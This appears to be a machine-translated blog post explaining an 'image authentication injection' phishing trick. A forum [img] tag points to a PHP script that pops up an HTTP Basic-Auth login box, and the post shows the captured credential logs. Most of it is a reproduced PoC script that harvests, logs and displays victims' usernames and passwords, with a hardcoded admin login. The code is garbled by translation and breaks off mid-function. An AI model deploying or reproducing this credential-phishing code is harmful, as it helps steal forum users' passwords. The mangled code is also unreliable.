Image Authentication Injection Image Authentication phishing Injection

It is actually a phishing scam.

UBB call: [img] http: // 127.0.0.1/phpsec/image_injection.php [/img]
Normal call:

After accessing the page, open the Login Dialog Box and ask you to enter the account and password (you can only cheat children and middle-aged people ?)

Generate a log file:

127.0.0.1 | -- | admin | -- | menzhi007 | -- | 1248945464
127.0.0.1 | -- | admin | -- | menzhi007 | -- | 1248945466
127.0.0.1 | -- | admin | -- | menzhi007 | -- | 1248945466
127.0.0.1 | -- | admin | -- | menzhi007 | -- | 1248945466
127.0.0.1 | -- | admin | -- | menzhi007 | -- | 1248945466

You have also generated your account and password.

Appendix: Poc written by foreigners

Image_injection.php

<? Php
#################################
# Image authentication injection #
# + ==================================== #
# PoC by petros @ dusecurity #
#################################
# Www.dusecurity.com #
#################################

// * Configuration *//
$ Config = array
(
"Log_file" => "log.txt", // Path to log file
"No_cache" => true, // Attempt to disable browser cache
"Log_once" => false, // Only show the login dialog once
"Title" => "% host % login required", // Title of login dialog. You may use tokens (see below)
"Validate_plugin" => false, // Path to auth validate plugin
"Validate" => true, // If a validate plugin is loaded check the username/password
"Cookie_name" => "% host % _ IAP", // Name of the tracking cookie
"Cookie_expire" => 0, // When the cookie expires (0 = end of session)
"Admin_user" => "admin", // Admin username
"Admin_password" => "menzhi007" // Admin password
);

###############################
# Do not edit below this line #
###############################

$ Refer = parse_url ($ _ SERVER [HTTP_REFERER]); // Array ([scheme] => http [host] => 127.0.0.1 [path] =>/phpsec /)
// Print_r ($ refer );

If (! $ Refer [host]) $ refer = false;
// Print_r ($ refer). "// * Tokens *//
$ Tokens = array
(
"Host" => $ refer [host],
"Refer" => $ _ SERVER [HTTP_REFER]
);

Function insertTokens ($ str)
{
Global $ tokens;
Foreach ($ tokens as $ token => $ replace)
$ Str = str_replace ("% $ token %", $ replace, $ str );
Return $ str;
}

$ Config [cookie_name] = insertTokens ($ config [cookie_name]);
$ Cookie = $ _ COOKIES [$ config [cookie_name];

If ($ _ GET [x] = admin &&! $ Refer) $ ret = admin ();
Else if ($ refer) $ ret = phish ();
Else $ ret = false;

If (! $ Ret) echo "Access Denied ";

Function phish ()
{
Global $ config, $ refer, $ cookie;

$ Details = getDetails ();
$ Exists = logExists ($ refer [host], $ details [user], $ details [pass]);
If ($ config [log_once] & ($ cookie = yes | $ exists ))
Return true;
If (! $ Details) {dothenasty (); return false ;}
If ($ config [no_cache]) disableCache ();
If ($ config [validate] & $ config [validate-plugin])
{
If (is_file ($ config [validate-plugin])
{
Include $ config [validate-plugin];
If (function_exists (validate ))
{
If (! Call_user_func (validate, $ refer, $ details [user], $ details [pass])
Return false;
}
}
}
AddLog ($ refer [host], $ details [user], $ details [pass]);
SetCookie ($ config [cookie_name], yes, $ config [expire]); // set cookie

Return false;
}

Function admin ()
{
Global $ config;
$ Details = getDetails ();
If (! $ Details | ($ details [user]! = $ Config [admin_user] | $ details [pass]! = $ Config [admin_password]) {dothenasty ("IAP Admin Login"); return false ;}
$ Logs = loadLogs ();
If (! $ Logs) {echo "Failed to load log file :("; return true ;}
$ Hosts = array_keys ($ logs );
// K now we show our logs
Echo "For ($ I = 0; $ I <sizeof ($ hosts); $ I ++)
Echo "<li> <a href =" # {$ hosts [$ I]} ">{$ hosts [$ I]} </a> </li> ";
Echo "</ul> ";

Echo "<br/> ";
$ Formathead = <div id = "% 1 $ s"> <p> $ Format = "<tr> <td> % s </td> </tr> ";
Foreach ($ logs as $ host => $ log)
{
Printf ($ formathead, $ host );
For ($ I = 0; $ I <sizeof ($ log); $ I ++)
{
$ Cl = $ log [$ I];
Printf ($ format, $ cl [user], $ cl [pass], date (F jS, Y h: I: s A, $ cl [time]);
}
Echo "</table> </div> <p> <br/> </p> ";
}
Return true;



}

Function getDetails ()
{
If (! $ _ SERVER [PHP_AUTH_USER] |! $ _ SERVER [PHP_AUTH_PW]) return false;
Else return array (user =>$ _ SERVER [PHP_AUTH_USER], pass =>$ _ SERVER [PHP_AUTH_PW]);
}

Function dothenasty ($ title = false) // show login dialog
{
Global $ config;
Header (WWW-Authenticate: Basic realm = ". insertTok